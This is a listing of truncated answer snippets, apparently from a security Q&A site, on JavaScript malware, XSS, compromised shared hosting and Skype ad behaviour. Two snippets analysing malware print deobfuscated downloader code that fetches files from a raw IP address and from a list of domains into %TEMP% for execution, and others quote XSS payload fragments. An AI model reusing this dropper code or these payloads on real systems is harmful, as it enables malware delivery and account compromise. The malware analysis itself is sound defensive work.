Hot answers tagged

9

It seems to me that Skype is using the areyouahuman.com ad tech to only deliver their ads to "humans". Why it wants to download the file? If you see at "Type" it says: Undecided. Which could be a bug in the areyouahuman server which failed to set the content-type header. In the case of browsers, they normally display the "download file" pop-up when the ...


6

It most certainly is malware. It uses ActiveX to open up a shell with cmd.exe. This is the deobfuscated version: function zQlMdib() { var asupcI = new ActiveXObject("MSXML2.XMLHTTP"); asupcI['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false); var OnvPPuGD = WScript['ScriptFullName']; asupcI['send'](); if (asupcI['Status'] ...


6

The code will attempt to download and execute malware. Here is the de-obfuscated code, which was put together here. var b = "maharacosmetics.com alpinatextil.net pravdaclub.com scuoladiinglesecagliari.com valery-art.info".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + ...


5

I doubt that this has anything to do with google. According to your description google maps was only your starting point and from there you've opened the different websites for the various business. Some of these sites might be either infected or they contained ads and through these direct infections or the malvertising you got served some Scareware which ...


5

<iMg SrC=x OnErRoR=window.location=123> The mixed case parts in your example are not the Javascript but the HTML. And HTML is case insensitive <iMg HTML img tag (i.e. image), case insensitive SrC src attribute for HTML img tag, case insensitive OnErRoR onerror attribute for HTML img tag, case insensitive window.location=123 - ...


3

The reason this limitation is enforced, is that the SOP policy does not apply to window.close(), instead, you can actually close any window. It would be impossible to apply the SOP policy to window.close() as normally, each window in a browser process is isolated from each other to prevent certain cross-boundary attacks, thus even your "own windows" would be ...


3

As a first step, run the code through a JS beautifier to the code to do some of the escaping. Note, you'll see several patterns like: Fake["hostkey" ["replace"](/hostkey/, "write")] which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write") which evaluates to just "write" or Fake.write. Also The bulk of the activity seems to be in ...


3

There is a canonical question entitled "How do I deal with a compromised server?". Since you are on a shared host, there are some limitations to what you can do. I still strongly recommend you to read the full accepted answer. Below I will discuss how this applies to your situation (i.e. on a shared hosting). Quotes are from the mentioned answer. 1. Take ...


2

Essentially, you would be looking at forensic investigation of the server, which would look in great detail at any access logs, error logs, files with unexpected timestamps, and so on, looking for the specific method that was used in this case. This would need to be carried out at a server level in order to be worthwhile, though, which wouldn't normally be ...


2

Note: this question might have been better on the Tor community despite being on-topic here. Thomas Roth demonstrated that Protonmail was vulnerable to a Cross-site scripting (XSS) attack. The video (Vimeo) he made shows that at least the mail body was vulnerable to Javascript injection. As soon as the receiver read the mail, the code is executed. ...


2

Yes, and quite easily (if I understand the question correctly). If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like: <script ...


2

The user's client should submit only the order's list of items (and quantities) to the server. Anything else about the order -- especially how much the entire order costs -- should be computed on the server, based on the list of items that were ordered. If the user mucks around with the JavaScript that submits which items the user has ordered, there's ...


1

Tor should have noscript installed. You simply click on the NoScript extension and click disable javascript on all sites. Unfortunately, once you've done something on the internet you can't change it. You can't go back and do it again differently, just like you can't in real life. Consider refraining from doing things you might later regret, especially if ...


1

Even if Skype can run JavaScript, it's not necessarily the end of the world. I agree it is bad, as it greatly increases functionality ads can access. But don't forget there is the https://en.m.wikipedia.org/wiki/Same-origin_policy thing going on. So saying "because someone can execute JavaScript on your client means you are completely owned" is like saying ...


1

OK, I will try to focus on the part of "who". My question is is there a way to see who and how was able to edit these files? It depends, but what can you do is following: analyze server logs (auth, apache, ftp etc.) while you are analyzing logs keep in mind to check if there is any kind of information about pre-attack phase (sometimes attackers are ...


1

The goal of an XSS attack is for an attacker to somehow inject code into a webpage that is served from your site. This code is privileged in the sense that, as it was served by your site, the same origin policy lets it have full access to your site's cookies and the contents of the web page that you served. So, if your site responds to a request such as ...


1

Just imagine the following scenario: The user is logged into your site, i.e. has a session cookie. The user visits a link to your site which is controlled by the hacker. Such a link could be embedded into a site controlled by the attacker as <img src=http://your-site/.... Or it could be inside a mail, inside an advertisement (see malvertising) or ...


1

All browser exploits do not necessarily use Javascript to reach their needs. A browser plugin can be used to escape a browser sandbox for example. This means that a malicious person could create a website, knowing that his victim uses vulnerable plugin X (that parses the text of each visited page), and display text on his website that, once parsed by the ...



Only top voted, non community-wiki answers of a minimum length are eligible